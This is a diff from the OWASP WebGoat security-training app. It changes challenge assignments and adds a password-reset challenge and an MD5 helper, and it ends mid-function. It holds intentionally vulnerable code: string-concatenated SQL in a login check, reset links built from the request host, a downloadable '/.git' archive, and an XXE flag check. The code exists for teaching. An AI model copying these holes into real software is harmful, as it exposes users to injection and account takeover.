||||
targetDirectory.mkdir();
|
||||
}
|
||||
log.info("Copied secret.txt to: {}", targetDirectory);
|
||||
Files.write(secretContents, new File(targetDirectory, "secret.txt"), Charset.defaultCharset());
|
||||
}
|
||||
|
||||
@ -106,14 +108,14 @@ public class Assignment3 extends AssignmentEndpoint {
|
||||
userComments.put(webSession.getUserName(), comments);
|
||||
}
|
||||
if (checkSolution(comment)) {
|
||||
attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(2)).build();
|
||||
attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(3)).build();
|
||||
}
|
||||
return attackResult;
|
||||
}
|
||||
|
||||
private boolean checkSolution(Comment comment) {
|
||||
if (StringUtils.equals(comment.getText(), secretContents)) {
|
||||
comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!!");
|
||||
if (comment.getText().contains(secretContents)) {
|
||||
comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!! Check your original response where you posted the XXE attack ");
|
||||
comments.add(comment);
|
||||
return true;
|
||||
}
|
||||
|
@ -9,6 +9,7 @@ import org.owasp.webgoat.plugin.Flag;
|
||||
import org.owasp.webgoat.session.DatabaseUtilities;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.util.StringUtils;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
@ -38,6 +39,13 @@ public class Assignment5 extends AssignmentEndpoint {
|
||||
Connection connection = DatabaseUtilities.getConnection(webSession);
|
||||
checkDatabase(connection);
|
||||
|
||||
if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {
|
||||
return failed().feedback("required4").build();
|
||||
}
|
||||
if (!"Larry".equals(username_login)) {
|
||||
return failed().feedback("user.not.larry").feedbackArgs(username_login).build();
|
||||
}
|
||||
|
||||
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = '" + username_login + "' and password = '" + password_login + "'");
|
||||
ResultSet resultSet = statement.executeQuery();
|
||||
|
||||
|
@ -0,0 +1,84 @@
|
||||
package org.owasp.webgoat.plugin.challenge7;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.mail.IncomingMailEvent;
|
||||
import org.owasp.webgoat.plugin.SolutionConstants;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.core.io.ClassPathResource;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.jms.core.JmsTemplate;
|
||||
import org.springframework.util.StringUtils;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.net.URI;
|
||||
import java.net.URISyntaxException;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
import static org.owasp.webgoat.plugin.Flag.FLAGS;
|
||||
import static org.springframework.web.bind.annotation.RequestMethod.GET;
|
||||
import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 4/8/17.
|
||||
*/
|
||||
@AssignmentPath("/challenge/7")
|
||||
@Slf4j
|
||||
public class Assignment7 extends AssignmentEndpoint {
|
||||
|
||||
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
|
||||
"<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password." +
|
||||
"\n \n\n" +
|
||||
"If you did not request this password change you can ignore this message." +
|
||||
"\n" +
|
||||
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
|
||||
"\n\n" +
|
||||
"Kind regards, \nTeam WebGoat";
|
||||
|
||||
@Autowired
|
||||
private JmsTemplate jmsTemplate;
|
||||
|
||||
@GetMapping("/reset-password/{link}")
|
||||
public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
|
||||
if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
|
||||
return ResponseEntity.accepted().body("<h1>Success!!</h1>" +
|
||||
"<img src='/WebGoat/images/hi-five-cat.jpg'>" +
|
||||
"<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
|
||||
}
|
||||
return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT).body("That is not the reset link for admin");
|
||||
}
|
||||
|
||||
@RequestMapping(method = POST)
|
||||
@ResponseBody
|
||||
public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request) throws URISyntaxException {
|
||||
if (StringUtils.hasText(email)) {
|
||||
String username = email.substring(0, email.indexOf("@"));
|
||||
if (StringUtils.hasText(username)) {
|
||||
URI uri = new URI(request.getRequestURL().toString());
|
||||
IncomingMailEvent mail = IncomingMailEvent.builder()
|
||||
.title("Your password reset link for challenge 7")
|
||||
.contents(String.format(TEMPLATE, uri.getScheme() + "://" + uri.getHost(), new PasswordResetLink().createPasswordReset(username, "webgoat")))
|
||||
.sender("password-reset@webgoat-cloud.net")
|
||||
.recipient(username)
|
||||
.time(LocalDateTime.now()).build();
|
||||
jmsTemplate.convertAndSend("mailbox", mail);
|
||||
}
|
||||
}
|
||||
return success().feedback("email.send").feedbackArgs(email).build();
|
||||
}
|
||||
|
||||
@RequestMapping(method = GET, value = "/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
|
||||
@ResponseBody
|
||||
@SneakyThrows
|
||||
public ClassPathResource git() {
|
||||
return new ClassPathResource("challenge7/git.zip");
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,39 @@
|
||||
package org.owasp.webgoat.plugin.challenge7;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 3/21/17.
|
||||
*/
|
||||
public class Challenge7 extends NewLesson {
|
||||
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.CHALLENGE;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 10;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "challenge7.title";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getId() {
|
||||
return "Challenge7";
|
||||
}
|
||||
}
|
@ -0,0 +1,689 @@
|
||||
package org.owasp.webgoat.plugin.challenge7;
|
||||
|
||||
import java.io.FileInputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.UnsupportedEncodingException;
|
||||
|
||||
import java.io.*;
|
||||
|
||||
/**
|
||||
* MD5 hash generator.
|
||||
* More information about this class is available from <a target="_top" href=
|
||||
* "http://ostermiller.org/utils/MD5.html">ostermiller.org</a>.
|
||||
* <p>
|
||||
* This class takes as input a message of arbitrary length and produces
|
||||
* as output a 128-bit "fingerprint" or "message digest" of the input.
|
||||
* It is conjectured that it is computationally infeasible to produce
|
||||
* two messages having the same message digest, or to produce any
|
||||
* message having a given pre-specified target message digest. The MD5
|
||||
* algorithm is intended for digital signature applications, where a
|
||||
* large file must be "compressed" in a secure manner before being
|
||||
* encrypted with a private (secret) key under a public-key cryptosystem
|
||||
* such as RSA.
|
||||
* <p>
|
||||
* For more information see RFC1321.
|
||||
*
|
||||
* @author Santeri Paavolainen http://santtu.iki.fi/md5/
|
||||
* @author Stephen Ostermiller http://ostermiller.org/contact.pl?regarding=Java+Utilities
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public class MD5 {
|
||||
|
||||
/**
|
||||
* Class constructor
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public MD5() {
|
||||
reset();
|
||||
}
|
||||
|
||||
/**
|
||||
* Command line program that will take files as arguments
|
||||
* and output the MD5 sum for each file.
|
||||
*
|
||||
* @param args command line arguments
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static void main(String[] args) {
|
||||
if (args.length == 0) {
|
||||
System.err.println("Please specify a file.");
|
||||
} else {
|
||||
for (String element : args) {
|
||||
try {
|
||||
System.out.println(MD5.getHashString(new File(element)) + " " + element);
|
||||
} catch (IOException x) {
|
||||
System.err.println(x.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets this hash sum as an array of 16 bytes.
|
||||
*
|
||||
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public byte[] getHash() {
|
||||
if (!finalState.valid) {
|
||||
finalState.copy(workingState);
|
||||
long bitCount = finalState.bitCount;
|
||||
// Compute the number of left over bits
|
||||
int leftOver = (int) (((bitCount >>> 3)) & 0x3f);
|
||||
// Compute the amount of padding to add based on number of left over bits.
|
||||
int padlen = (leftOver < 56) ? (56 - leftOver) : (120 - leftOver);
|
||||
// add the padding
|
||||
update(finalState, padding, 0, padlen);
|
||||
// add the length (computed before padding was added)
|
||||
update(finalState, encode(bitCount), 0, 8);
|
||||
finalState.valid = true;
|
||||
}
|
||||
// make a copy of the hash before returning it.
|
||||
return encode(finalState.state, 16);
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns 32-character hex representation of this hash.
|
||||
*
|
||||
* @return String representation of this object's hash.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public String getHashString() {
|
||||
return toHex(this.getHash());
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the MD5 hash of the given byte array.
|
||||
*
|
||||
* @param b byte array for which an MD5 hash is desired.
|
||||
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static byte[] getHash(byte[] b) {
|
||||
MD5 md5 = new MD5();
|
||||
md5.update(b);
|
||||
return md5.getHash();
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the MD5 hash of the given byte array.
|
||||
*
|
||||
* @param b byte array for which an MD5 hash is desired.
|
||||
* @return 32-character hex representation the data's MD5 hash.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static String getHashString(byte[] b) {
|
||||
MD5 md5 = new MD5();
|
||||
md5.update(b);
|
||||
return md5.getHashString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the MD5 hash the data on the given InputStream.
|
||||
*
|
||||
* @param in byte array for which an MD5 hash is desired.
|
||||
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||
* @throws IOException if an I/O error occurs.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static byte[] getHash(InputStream in) throws IOException {
|
||||
MD5 md5 = new MD5();
|
||||
byte[] buffer = new byte[1024];
|
||||
int read;
|
||||
while ((read = in.read(buffer)) != -1) {
|
||||
md5.update(buffer, read);
|
||||
}
|
||||
return md5.getHash();
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the MD5 hash the data on the given InputStream.
|
||||
*
|
||||
* @param in byte array for which an MD5 hash is desired.
|
||||
* @return 32-character hex representation the data's MD5 hash.
|
||||
* @throws IOException if an I/O error occurs.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static String getHashString(InputStream in) throws IOException {
|
||||
MD5 md5 = new MD5();
|
||||
byte[] buffer = new byte[1024];
|
||||
int read;
|
||||
while ((read = in.read(buffer)) != -1) {
|
||||
md5.update(buffer, read);
|
||||
}
|
||||
return md5.getHashString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the MD5 hash of the given file.
|
||||
*
|
||||
* @param f file for which an MD5 hash is desired.
|
||||
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||
* @throws IOException if an I/O error occurs.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static byte[] getHash(File f) throws IOException {
|
||||
InputStream is = new FileInputStream(f);
|
||||
byte[] hash = getHash(is);
|
||||
is.close();
|
||||
return hash;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the MD5 hash of the given file.
|
||||
*
|
||||
* @param f file array for which an MD5 hash is desired.
|
||||
* @return 32-character hex representation the data's MD5 hash.
|
||||
* @throws IOException if an I/O error occurs.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static String getHashString(File f) throws IOException {
|
||||
InputStream is = new FileInputStream(f);
|
||||
String hash = getHashString(is);
|
||||
is.close();
|
||||
return hash;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the MD5 hash of the given String.
|
||||
* The string is converted to bytes using the current
|
||||
* platform's default character encoding.
|
||||
*
|
||||
* @param s String for which an MD5 hash is desired.
|
||||
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static byte[] getHash(String s) {
|
||||
MD5 md5 = new MD5();
|
||||
md5.update(s);
|
||||
return md5.getHash();
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the MD5 hash of the given String.
|
||||
* The string is converted to bytes using the current
|
||||
* platform's default character encoding.
|
||||
*
|
||||
* @param s String for which an MD5 hash is desired.
|
||||
* @return 32-character hex representation the data's MD5 hash.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static String getHashString(String s) {
|
||||
MD5 md5 = new MD5();
|
||||
md5.update(s);
|
||||
return md5.getHashString();
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Gets the MD5 hash of the given String.
|
||||
*
|
||||
* @param s String for which an MD5 hash is desired.
|
||||
* @param enc The name of a supported character encoding.
|
||||
* @return Array of 16 bytes, the hash of all updated bytes.
|
||||
* @throws UnsupportedEncodingException If the named encoding is not supported.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static byte[] getHash(String s, String enc) throws UnsupportedEncodingException {
|
||||
MD5 md5 = new MD5();
|
||||
md5.update(s, enc);
|
||||
return md5.getHash();
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the MD5 hash of the given String.
|
||||
*
|
||||
* @param s String for which an MD5 hash is desired.
|
||||
* @param enc The name of a supported character encoding.
|
||||
* @return 32-character hex representation the data's MD5 hash.
|
||||
* @throws UnsupportedEncodingException If the named encoding is not supported.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public static String getHashString(String s, String enc) throws UnsupportedEncodingException {
|
||||
MD5 md5 = new MD5();
|
||||
md5.update(s, enc);
|
||||
return md5.getHashString();
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Reset the MD5 sum to its initial state.
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public void reset() {
|
||||
workingState.reset();
|
||||
finalState.valid = false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns 32-character hex representation of this hash.
|
||||
*
|
||||
* @return String representation of this object's hash.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
@Override
|
||||
public String toString() {
|
||||
return getHashString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Update this hash with the given data.
|
||||
* <p>
|
||||
* A state may be passed into this method so that we can add padding
|
||||
* and finalize a md5 hash without limiting our ability to update
|
||||
* more data later.
|
||||
* <p>
|
||||
* If length bytes are not available to be hashed, as many bytes as
|
||||
* possible will be hashed.
|
||||
*
|
||||
* @param state Which state is updated.
|
||||
* @param buffer Array of bytes to be hashed.
|
||||
* @param offset Offset to buffer array.
|
||||
* @param length number of bytes to hash.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private void update(MD5State state, byte buffer[], int offset, int length) {
|
||||
|
||||
finalState.valid = false;
|
||||
|
||||
// if length goes beyond the end of the buffer, cut it short.
|
||||
if ((length + offset) > buffer.length) {
|
||||
length = buffer.length - offset;
|
||||
}
|
||||
|
||||
// compute number of bytes mod 64
|
||||
// this is what we have sitting in a buffer
|
||||
// that have not been hashed yet
|
||||
int index = (int) (state.bitCount >>> 3) & 0x3f;
|
||||
|
||||
// add the length to the count (translate bytes to bits)
|
||||
state.bitCount += length << 3;
|
||||
|
||||
int partlen = 64 - index;
|
||||
|
||||
int i = 0;
|
||||
if (length >= partlen) {
|
||||
System.arraycopy(buffer, offset, state.buffer, index, partlen);
|
||||
transform(state, decode(state.buffer, 64, 0));
|
||||
for (i = partlen; (i + 63) < length; i += 64) {
|
||||
transform(state, decode(buffer, 64, i));
|
||||
}
|
||||
index = 0;
|
||||
}
|
||||
|
||||
// buffer remaining input
|
||||
if (i < length) {
|
||||
for (int start = i; i < length; i++) {
|
||||
state.buffer[index + i - start] = buffer[i + offset];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Update this hash with the given data.
|
||||
* <p>
|
||||
* If length bytes are not available to be hashed, as many bytes as
|
||||
* possible will be hashed.
|
||||
*
|
||||
* @param buffer Array of bytes to be hashed.
|
||||
* @param offset Offset to buffer array.
|
||||
* @param length number of bytes to hash.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public void update(byte buffer[], int offset, int length) {
|
||||
update(workingState, buffer, offset, length);
|
||||
}
|
||||
|
||||
/**
|
||||
* Update this hash with the given data.
|
||||
* <p>
|
||||
* If length bytes are not available to be hashed, as many bytes as
|
||||
* possible will be hashed.
|
||||
*
|
||||
* @param buffer Array of bytes to be hashed.
|
||||
* @param length number of bytes to hash.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public void update(byte buffer[], int length) {
|
||||
update(buffer, 0, length);
|
||||
}
|
||||
|
||||
/**
|
||||
* Update this hash with the given data.
|
||||
*
|
||||
* @param buffer Array of bytes to be hashed.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public void update(byte buffer[]) {
|
||||
update(buffer, 0, buffer.length);
|
||||
}
|
||||
|
||||
/**
|
||||
* Updates this hash with a single byte.
|
||||
*
|
||||
* @param b byte to be hashed.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public void update(byte b) {
|
||||
byte buffer[] = new byte[1];
|
||||
buffer[0] = b;
|
||||
update(buffer, 1);
|
||||
}
|
||||
|
||||
/**
|
||||
* Update this hash with a String.
|
||||
* The string is converted to bytes using the current
|
||||
* platform's default character encoding.
|
||||
*
|
||||
* @param s String to be hashed.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public void update(String s) {
|
||||
update(s.getBytes());
|
||||
}
|
||||
|
||||
/**
|
||||
* Update this hash with a String.
|
||||
*
|
||||
* @param s String to be hashed.
|
||||
* @param enc The name of a supported character encoding.
|
||||
* @throws UnsupportedEncodingException If the named encoding is not supported.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
public void update(String s, String enc) throws UnsupportedEncodingException {
|
||||
update(s.getBytes(enc));
|
||||
}
|
||||
|
||||
/**
|
||||
* The current state from which the hash sum
|
||||
* can be computed or updated.
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private MD5State workingState = new MD5State();
|
||||
|
||||
/**
|
||||
* Cached copy of the final MD5 hash sum. This is created when
|
||||
* the hash is requested and it is invalidated when the hash
|
||||
* is updated.
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private MD5State finalState = new MD5State();
|
||||
|
||||
/**
|
||||
* Temporary buffer cached here for performance reasons.
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private int[] decodeBuffer = new int[16];
|
||||
|
||||
/**
|
||||
* 64 bytes of padding that can be added if the length
|
||||
* is not divisible by 64.
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private static final byte padding[] = {
|
||||
(byte) 0x80, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0,
|
||||
};
|
||||
|
||||
/**
|
||||
* Contains internal state of the MD5 class.
|
||||
* Passes MD5 test suite as defined in RFC1321.
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private class MD5State {
|
||||
|
||||
/**
|
||||
* True if this state is valid.
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private boolean valid = true;
|
||||
|
||||
/**
|
||||
* Reset to initial state.
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private void reset() {
|
||||
state[0] = 0x67452301;
|
||||
state[1] = 0xefcdab89;
|
||||
state[2] = 0x98badcfe;
|
||||
state[3] = 0x10325476;
|
||||
|
||||
bitCount = 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* 128-byte state
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private int state[] = new int[4];
|
||||
|
||||
/**
|
||||
* 64-bit count of the number of bits that have been hashed.
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private long bitCount;
|
||||
|
||||
/**
|
||||
* 64-byte buffer (512 bits) for storing to-be-hashed characters
|
||||
*
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private byte buffer[] = new byte[64];
|
||||
|
||||
private MD5State() {
|
||||
reset();
|
||||
}
|
||||
|
||||
/**
|
||||
* Set this state to be exactly the same as some other.
|
||||
*
|
||||
* @param from state to copy from.
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private void copy(MD5State from) {
|
||||
System.arraycopy(from.buffer, 0, this.buffer, 0, this.buffer.length);
|
||||
System.arraycopy(from.state, 0, this.state, 0, this.state.length);
|
||||
this.valid = from.valid;
|
||||
this.bitCount = from.bitCount;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Turns array of bytes into string representing each byte as
|
||||
* a two digit unsigned hex number.
|
||||
*
|
||||
* @param hash Array of bytes to convert to hex-string
|
||||
* @return Generated hex string
|
||||
* @since ostermillerutils 1.00.00
|
||||
*/
|
||||
private static String toHex(byte hash[]) {
|
||||
StringBuffer buf = new StringBuffer(hash.length * 2);
|
||||
for (byte element : hash) {
|
||||
int intVal = element & 0xff;
|
||||
if (intVal < 0x10) {
|
||||
// append a zero before a one digit hex
|
||||
// number to make it two digits.
|
||||
buf.append("0");
|
||||
}
|
||||
buf.append(Integer.toHexString(intVal));
|
||||
}
|
||||
return buf.toString();
|
||||
}
|
||||
|
||||
private static int FF(int a, int b, int c, int d, int x, int s, int ac) {
|
||||
a += ((b & c) | (~b & d));
|
||||
a += x;
|
||||
a += ac;
|
||||
//return rotateLeft(a, s) + b;
|
||||
a = (a << s) | (a >>> (32 - s));
|
||||
return a + b;
|
||||
}
|
||||
|
||||
private static int GG(int a, int b, int c, int d, int x, int s, int ac) {
|
||||
a += ((b & d) | (c & ~d));
|
||||
a += x;
|
||||
a += ac;
|
||||
//return rotateLeft(a, s) + b;
|
||||
a = (a << s) | (a >>> (32 - s));
|
||||
return a + b;
|
||||
}
|
||||
|
||||
private static int HH(int a, int b, int c, int d, int x, int s, int ac) {
|
||||
a += (b ^ c ^ d);
|
||||
a += x;
|
||||
a += ac;
|
||||
//return rotateLeft(a, s) + b;
|
||||
a = (a << s) | (a >>> (32 - s));
|
||||
return a + b;
|
||||
}
|
||||
|
||||
private static int II(int a, int b, int c, int d, int x, int s, int ac) {
|
||||
a += (c ^ (b | ~d));
|
||||
a += x;
|
||||
a += ac;
|
||||
//return rotateLeft(a, s) + b;
|
||||
a = (a << s) | (a >>> (32 - s));
|
||||
return a + b;
|
||||
}
|
||||
|
||||
private static byte[] encode(long l) {
|
||||
byte[] out = new byte[8];
|
||||
out[0] = (byte) (l & 0xff);
|
||||
out[1] = (byte) ((l >>> 8) & 0xff);
|
||||
out[2] = (byte) ((l >>> 16) & 0xff);
|
||||
out[3] = (byte) ((l >>> 24) & 0xff);
|
||||
out[4] = (byte) ((l >>> 32) & 0xff);
|
||||
out[5] = (byte) ((l >>> 40) & 0xff);
|
||||
out[6] = (byte) ((l >>> 48) & 0xff);
|
||||
out[7] = (byte) ((l >>> 56) & 0xff);
|
||||
return out;
|
||||
}
|
||||
|
||||
private static byte[] encode(int input[], int len) {
|
||||
byte[] out = new byte[len];
|
||||
int i, j;
|
||||
for (i = j = 0; j < len; i++, j += 4) {
|
||||
out[j] = (byte) (input[i] & 0xff);
|
||||
out[j + 1] = (byte) ((input[i] >>> 8) & 0xff);
|
||||
out[j + 2] = (byte) ((input[i] >>> 16) & 0xff);
|
||||
out[j + 3] = (byte) ((input[i] >>> 24) & 0xff);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
private int[] decode(byte buffer[], int len, int offset) {
|
||||
int i, j;
|
||||
for (i = j = 0; j < len; i++, j += 4) {
|
||||
decodeBuffer[i] = (
|
||||
(buffer[j + offset] & 0xff)) |
|
||||
(((buffer[j + 1 + offset] & 0xff)) << 8) |
|
||||
(((buffer[j + 2 + offset] & 0xff)) << 16) |
|
||||
(((buffer[j + 3 + offset] & 0xff)) << 24
|
||||
);
|
||||
}
|
||||
return decodeBuffer;
|
||||
}
|
||||
|
||||
private static void transform(MD5State state, int[] x) {
|
||||
int a = state.state[0];
|
||||
int b = state.state[1];
|
||||
int c = state.state[2];
|
||||
int d = state.state[3];
|
||||
|
||||
/* Round 1 */
|
||||
a = FF(a, b, c, d, x[0], 7, 0xd76aa478); /* 1 */
|
||||
d = FF(d, a, b, c, x[1], 12, 0xe8c7b756); /* 2 */
|
||||
c = FF(c, d, a, b, x[2], 17, 0x242070db); /* 3 */
|
||||
b = FF(b, c, d, a, x[3], 22, 0xc1bdceee); /* 4 */
|
||||
a = FF(a, b, c, d, x[4], 7, 0xf57c0faf); /* 5 */
|
||||
d = FF(d, a, b, c, x[5], 12, 0x4787c62a); /* 6 */
|
||||
c = FF(c, d, a, b, x[6], 17, 0xa8304613); /* 7 */
|
||||
b = FF(b, c, d, a, x[7], 22, 0xfd469501); /* 8 */
|
||||
a = FF(a, b, c, d, x[8], 7, 0x698098d8); /* 9 */
|
||||
d = FF(d, a, b, c, x[9], 12, 0x8b44f7af); /* 10 */
|
||||
c = FF(c, d, a, b, x[10], 17, 0xffff5bb1); /* 11 */
|
||||
b = FF(b, c, d, a, x[11], 22, 0x895cd7be); /* 12 */
|
||||
a = FF(a, b, c, d, x[12], 7, 0x6b901122); /* 13 */
|
||||
d = FF(d, a, b, c, x[13], 12, 0xfd987193); /* 14 */
|
||||
c = FF(c, d, a, b, x[14], 17, 0xa679438e); /* 15 */
|
||||
b = FF(b, c, d, a, x[15], 22, 0x49b40821); /* 16 */
|
||||
|
||||
/* Round 2 */
|
||||
a = GG(a, b, c, d, x[1], 5, 0xf61e2562); /* 17 */
|
||||
d = GG(d, a, b, c, x[6], 9, 0xc040b340); /* 18 */
|
||||
c = GG(c, d, a, b, x[11], 14, 0x265e5a51); /* 19 */
|
||||
b = GG(b, c, d, a, x[0], 20, 0xe9b6c7aa); /* 20 */
|
||||
a = GG(a, b, c, d, x[5], 5, 0xd62f105d); /* 21 */
|
||||
d = GG(d, a, b, c, x[10], 9, 0x02441453); /* 22 */
|
||||
c = GG(c, d, a, b, x[15], 14, 0xd8a1e681); /* 23 */
|
||||
b = GG(b, c, d, a, x[4], 20, 0xe7d3fbc8); /* 24 */
|
||||
a = GG(a, b, c, d, x[9], 5, 0x21e1cde6); /* 25 */
|
||||
d = GG(d, a, b, c, x[14], 9, 0xc33707d6); /* 26 */
|
||||
c = GG(c, d, a, b, x[3], 14, 0xf4d50d87); /* 27 */
|
||||
b = GG(b, c, d, a, x[8], 20, 0x455a14ed); /* 28 */
|
||||
a = GG(a, b, c, d, x[13], 5, 0xa9e3e905); /* 29 */
|
||||
d = GG(d, a, b, c, x[2], 9, 0xfcefa3f8); /* 30 */
|
||||
c = GG(c, d, a, b, x[7], 14, 0x676f02d9); /* 31 */
|
||||
b = GG(b, c, d, a, x[12], 20, 0x8d2a4c8a); /* 32 */
|
||||
|
||||
/* Round 3 */
|
||||
a = HH(a, b, c, d, x[5], 4, 0xfffa3942); /* 33 */
|
||||
d = HH(d, a, b, c, x[8], 11, 0x8771f681); /* 34 */
|
||||
c = HH(c, d, a, b, x[11], 16, 0x6d9d6122); /* 35 */
|
||||
b = HH(b, c, d, a, x[14], 23, 0xfde5380c); /* 36 */
|
||||
a = HH(a, b, c, d, x[1], 4, 0xa4beea44); /* 37 */
|
||||
d = HH(d, a, b, c, x[4], 11, 0x4bdecfa9); /* 38 */
|
||||
c = HH(c, d, a, b, x[7], 16, 0xf6bb4b60); /* 39 */
|
||||
b = HH(b, c, d, a, x[10], 23, 0xbebfbc70); /* 40 */
|
||||
a = HH(a, b, c, d, x[13], 4, 0x289b7ec6); /* 41 */
|
||||
d = HH(d, a, b, c, x[0], 11, 0xeaa127fa); /* 42 */
|
||||
c = HH(c, d, a, b, x[3], 16, 0xd4ef3085); /* 43 */
|
||||
b = HH(b, c, d, a, x[6], 23, 0x04881d05); /* 44 */
|
||||
